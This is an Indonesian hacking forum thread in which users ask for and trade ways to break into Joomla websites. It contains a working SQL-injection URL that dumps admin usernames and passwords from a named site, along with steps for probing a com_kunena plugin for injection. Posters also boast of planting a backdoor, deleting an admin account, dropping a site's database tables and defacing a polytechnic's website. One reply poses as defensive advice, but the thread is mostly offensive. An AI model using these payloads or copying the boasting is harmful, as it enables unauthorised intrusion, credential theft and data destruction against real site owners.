joomla disini... bantu ane..

nich ane mau nanya ma kk' di MTN-Cyber

dah lama ane penasaran joomla...
apa saja exploit atau tip trik buat hack joomla 1.5 atau joomla versi lainya..
klow bisa membantu, ane mohon ma tutornya atau pocnya nya kk' mtn..

mohon pencerahannya kk'...

bisa pake reset pwd
atau pake exploit
contoh exploit

http://www.exploit-db.com/
http://www.milw0rm.com/search.php?dong=joomla&Submit=Submit

nah master berkata

klo bisa neh... lihat2 situsnya ye....
joomla teh biasaya di pakai orang2 dunia pendidikan
yang tingkat keamanannya di abaikan. ati2 aja klo mo ngehack.....
(kabarnya smp2 di tapteng lg kena skrg... ) klo mau ngilangkan hack atau proteks spy gak di hack untuk joomla... kabari caranya ...ya (thanks: pakmansur@yahoo.com)

joomla gak segampang itu di exploit kk...
apalagi versi terakhir..
kalo v.15.10 ke bawah..lupa versi berapa emg ada yang cacat..

atau mau coba..??
ku buatin website pake joomla...
ntar ku kasih celah di modulenya....

_pakmansur
whahahaw
ane bahas joomla sedikit disini
agar situs JOOMLA anda tidak dihack
jangan sekali2 memakai plugins dari sembarang vendor contoh : com_kunena,com_digistore dll
walaupun itu dari vendor terpercaya ada baiknya kita melakukan patching jikalau plugins tersebut memiliki vulnerable
untuk ngecek vuln ataw gk nya bisa kita kasih contoh :com_kunena
nih site nya ...
http://pharzone.com/index.php?option=com_kunena&Itemid=93&func=view&catid=4&id=2
coba kita kasih tanda ' setelah angka atau tanda "-" menjadi seperti ini
http://pharzone.com/index.php?option=com_kunena&Itemid=93&func=view&catid=4&id=2'
atau
http://pharzone.com/index.php?option=com_kunena&Itemid=93&func=view&catid=4&id=-2
kalau memunculkan error
berarti plugins tersebut mempunyai vuln
kalau blum bisa patching sebaiknya pluginsnya jangan dipakai
kalo maw patching bilang ama gw aza
la;au tidak memunculkan error berarti plugins itu aman dipakai
heheheheh

_pharzone
ngexploit itu emank susah
tetapi kalo kita bisa menulusuri suatu web itu gampang
contoh neh,,
http://pioneerpesticides.com/admin/
itu dulunya JOOMLA tapi karna si admin takut dia malah beralih ke PHP biasa
tapi gw masang backdoor jadi tinggal upload index aza

http://pioneerpesticides.com/index.php?id=-4+union+all+select+1,group_concat%28username,0x3a,password,0x3a%29,3+from+admin--

tuh pinter
kwkwkw

tapi login adminya kgak ada,,
udah gw dipes adminnya

zee_00n wrote:

_pakmansur
whahahaw
ane bahas joomla sedikit disini
agar situs JOOMLA anda tidak dihack
jangan sekali2 memakai plugins dari sembarang vendor contoh : com_kunena,com_digistore dll
walaupun itu dari vendor terpercaya ada baiknya kita melakukan patching jikalau plugins tersebut memiliki vulnerable
untuk ngecek vuln ataw gk nya bisa kita kasih contoh :com_kunena
nih site nya ...
http://pharzone.com/index.php?option=com_kunena&Itemid=93&func=view&catid=4&id=2
coba kita kasih tanda ' setelah angka atau tanda "-" menjadi seperti ini
http://pharzone.com/index.php?option=com_kunena&Itemid=93&func=view&catid=4&id=2'
atau
http://pharzone.com/index.php?option=com_kunena&Itemid=93&func=view&catid=4&id=-2
kalau memunculkan error
berarti plugins tersebut mempunyai vuln
kalau blum bisa patching sebaiknya pluginsnya jangan dipakai
kalo maw patching bilang ama gw aza
la;au tidak memunculkan error berarti plugins itu aman dipakai
heheheheh

_pharzone
ngexploit itu emank susah
tetapi kalo kita bisa menulusuri suatu web itu gampang
contoh neh,,
http://pioneerpesticides.com/admin/
itu dulunya JOOMLA tapi karna si admin takut dia malah beralih ke PHP biasa
tapi gw masang backdoor jadi tinggal upload index aza

barusan cek server eh ada backlink dari web ini...
gak taunya lagi diomongin toh...

lanjut gan.....

trus kalo gak ada eror gmn dong kk....

_pharzone99
Kalo gk ada ..
Ya.. Cari module yang dtanam di joomla nya dia

Atau pake cara reset pass joomla vrsi 1.5 yang pernah gw lakuin di pakmansur.com
(maaf pak kmaren maen2,ngedrop table nya juga kgak sengaja..)
Ntar gw jelasin kalo dah ol pc
cara ini pernah gw pake buat ngabisin web polban

[JANGAN LUPA GABUNG DI GRUP MTN-CYBER DI FB][YANG MAW CONTACT FB GW .
.. BYAR GW INVITE KE GROUP]
hehehe

zee_00n wrote:

_pharzone99
Kalo gk ada ..
Ya.. Cari module yang dtanam di joomla nya dia

Atau pake cara reset pass joomla vrsi 1.5 yang pernah gw lakuin di pakmansur.com
(maaf pak kmaren maen2,ngedrop table nya juga kgak sengaja..)
Ntar gw jelasin kalo dah ol pc
cara ini pernah gw pake buat ngabisin web polban

[JANGAN LUPA GABUNG DI GRUP MTN-CYBER DI FB][YANG MAW CONTACT FB GW .
.. BYAR GW INVITE KE GROUP]
hehehe

oh...